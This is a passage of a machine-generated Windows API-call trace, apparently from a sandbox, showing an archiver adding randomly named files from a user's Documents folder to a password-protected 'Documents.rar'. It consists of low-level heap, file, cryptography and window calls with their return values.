hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.623] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.623] SetFilePointer (in: hFile=0x32c, lDistanceToMove=595492, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x91624 [0082.623] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x91624 [0082.623] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0082.623] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0082.623] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x48) returned 0x1162e888950 [0082.623] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0082.623] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0082.623] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x48) returned 0x1162e888680 [0082.623] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.623] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888950 | out: hHeap=0x1162e7c0000) returned 1 [0082.623] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079d70 [0082.623] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.623] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079c20 | out: hHeap=0x1162e7c0000) returned 1 [0082.623] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079d70 | out: hHeap=0x1162e7c0000) returned 1 [0082.623] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079950, Size=0x58) returned 0x1163204d760 [0082.623] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d760, Size=0x94) returned 0x1162e87d150 [0082.623] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e87d152*, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e87d152*, lpNumberOfBytesWritten=0x141a0d82c0*=0x92, lpOverlapped=0x0) returned 1 [0082.623] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079ec0 [0082.623] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x92) returned 0x1162e87c890 [0082.623] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888680 | out: hHeap=0x1162e7c0000) returned 1 [0082.623] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.624] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x9b786 [0082.624] CloseHandle (hObject=0x350) returned 1 [0082.624] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.624] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.624] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.624] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.624] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\KzP2.csv", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d7c0 [0082.624] FindClose (in: hFindFile=0x1163204d7c0 | out: hFindFile=0x1163204d7c0) returned 1 [0082.624] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\KzP2.csv" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\kzp2.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.624] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650a30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.624] GetTickCount () returned 0x2a761 [0082.624] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.624] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.624] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.624] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.624] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="Kin6ms4WyJhH.xlsx") returned 17 [0082.624] SetWindowTextW (hWnd=0x10300, lpString="KzP2.csv") returned 1 [0082.625] GetTickCount () returned 0x2a761 [0082.625] UpdateWindow (hWnd=0x102f8) returned 1 [0082.625] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.625] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.625] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.625] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.625] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x74)) [0082.625] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.625] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17395400110) returned 1 [0082.625] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xcc6, lpOverlapped=0x0) returned 1 [0082.626] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8ed06, nNumberOfBytesToRead=0xff33a, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8ed06*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.626] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079e30 [0082.626] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.626] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x48) returned 0x1162e888ea0 [0082.626] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d7b0 [0082.626] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.626] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888810 [0082.626] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d7b0 | out: hHeap=0x1162e7c0000) returned 1 [0082.626] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.626] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0082.626] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079950 [0082.626] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079950 | out: hHeap=0x1162e7c0000) returned 1 [0082.626] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f80 | out: hHeap=0x1162e7c0000) returned 1 [0082.626] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079e30, Size=0x4d) returned 0x1163204d460 [0082.626] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x89) returned 0x1162e87d150 [0082.626] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888810 | out: hHeap=0x1162e7c0000) returned 1 [0082.626] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.628] GetTickCount () returned 0x2a761 [0082.628] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17395637798) returned 1 [0082.628] GetTickCount () returned 0x2a761 [0082.628] GetTickCount () returned 0x2a761 [0082.628] GetTickCount () returned 0x2a761 [0082.628] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.628] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.628] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.628] ResetEvent (hEvent=0x344) returned 1 [0082.628] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.629] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.629] ResetEvent (hEvent=0x344) returned 1 [0082.629] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.629] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.629] GetTickCount () returned 0x2a761 [0082.629] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17395791743) returned 1 [0082.629] GetTickCount () returned 0x2a761 [0082.629] GetTickCount () returned 0x2a761 [0082.629] GetTickCount () returned 0x2a761 [0082.629] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.629] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.629] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.630] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.630] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.630] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x9b786 [0082.630] SetFilePointer (in: hFile=0x32c, lDistanceToMove=135, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x9b80d [0082.630] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.630] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.630] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.630] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.630] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.630] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xd00, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xd00, lpOverlapped=0x0) returned 1 [0082.630] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.630] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.630] SetFilePointer (in: hFile=0x32c, lDistanceToMove=636806, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x9b786 [0082.630] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x9b786 [0082.630] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0082.631] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a70 [0082.631] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079a70, Size=0x48) returned 0x1162e888ea0 [0082.631] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.631] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079980 [0082.631] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079980, Size=0x48) returned 0x1162e888ef0 [0082.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.631] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0082.631] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0082.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a10 | out: hHeap=0x1162e7c0000) returned 1 [0082.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0082.631] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x4d) returned 0x1163204d460 [0082.631] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d460, Size=0x89) returned 0x1162e87d150 [0082.631] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e87d152*, nNumberOfBytesToWrite=0x87, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e87d152*, lpNumberOfBytesWritten=0x141a0d82c0*=0x87, lpOverlapped=0x0) returned 1 [0082.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.631] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.631] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x9c50d [0082.631] CloseHandle (hObject=0x350) returned 1 [0082.631] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.631] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.631] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.631] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.631] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\mbQ0b7o.ots", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d640 [0082.631] FindClose (in: hFindFile=0x1163204d640 | out: hFindFile=0x1163204d640) returned 1 [0082.632] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\mbQ0b7o.ots" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\5hld-s\\q9 7uahs\\mbq0b7o.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0082.632] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f7650e30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0082.632] GetTickCount () returned 0x2a761 [0082.632] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0082.632] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0082.632] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0082.632] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0082.632] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="KzP2.csv") returned 8 [0082.632] SetWindowTextW (hWnd=0x10300, lpString="mbQ0b7o.ots") returned 1 [0082.632] GetTickCount () returned 0x2a761 [0082.632] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0082.633] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0082.633] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0082.633] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0082.633] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x74)) [0082.633] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0082.633] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17396157927) returned 1 [0082.633] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x1270d, lpOverlapped=0x0) returned 1 [0082.634] ReadFile (in: hFile=0x350, lpBuffer=0x11631ba074d, nNumberOfBytesToRead=0xed8f3, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631ba074d*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0082.634] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.634] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.634] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c20 [0082.634] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0a0 [0082.634] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0a0, Size=0x48) returned 0x1162e888ea0 [0082.634] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d570 [0082.634] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b30 [0082.634] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b30, Size=0x48) returned 0x1162e888ef0 [0082.634] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d570 | out: hHeap=0x1162e7c0000) returned 1 [0082.634] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0082.634] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0082.634] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079c80 [0082.634] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079c80 | out: hHeap=0x1162e7c0000) returned 1 [0082.634] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0082.634] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079c20, Size=0x52) returned 0x1163204d7c0 [0082.634] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163204d7c0, Size=0x8e) returned 0x1162e87d150 [0082.634] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ef0 | out: hHeap=0x1162e7c0000) returned 1 [0082.634] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e87d150 | out: hHeap=0x1162e7c0000) returned 1 [0082.634] GetTickCount () returned 0x2a761 [0082.635] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17396316566) returned 1 [0082.635] GetTickCount () returned 0x2a761 [0082.635] GetTickCount () returned 0x2a761 [0082.635] GetTickCount () returned 0x2a761 [0082.635] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.635] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0082.635] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.635] ResetEvent (hEvent=0x344) returned 1 [0082.635] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.638] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.638] ResetEvent (hEvent=0x344) returned 1 [0082.638] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.641] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.641] ResetEvent (hEvent=0x344) returned 1 [0082.641] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.643] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0082.643] GetTickCount () returned 0x2a771 [0082.643] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17397211839) returned 1 [0082.644] GetTickCount () returned 0x2a771 [0082.644] GetTickCount () returned 0x2a771 [0082.644] GetTickCount () returned 0x2a771 [0082.644] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.644] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0082.644] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.644] ResetEvent (hEvent=0x33c) returned 1 [0082.644] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.644] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.644] ResetEvent (hEvent=0x33c) returned 1 [0082.644] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0082.645] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0082.645] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0082.645] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0082.645] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x9c50d [0082.645] SetFilePointer (in: hFile=0x32c, lDistanceToMove=140, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x9c599 [0082.645] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0082.645] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0082.646] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0082.646] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0082.646] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0082.646] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x127c0, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, 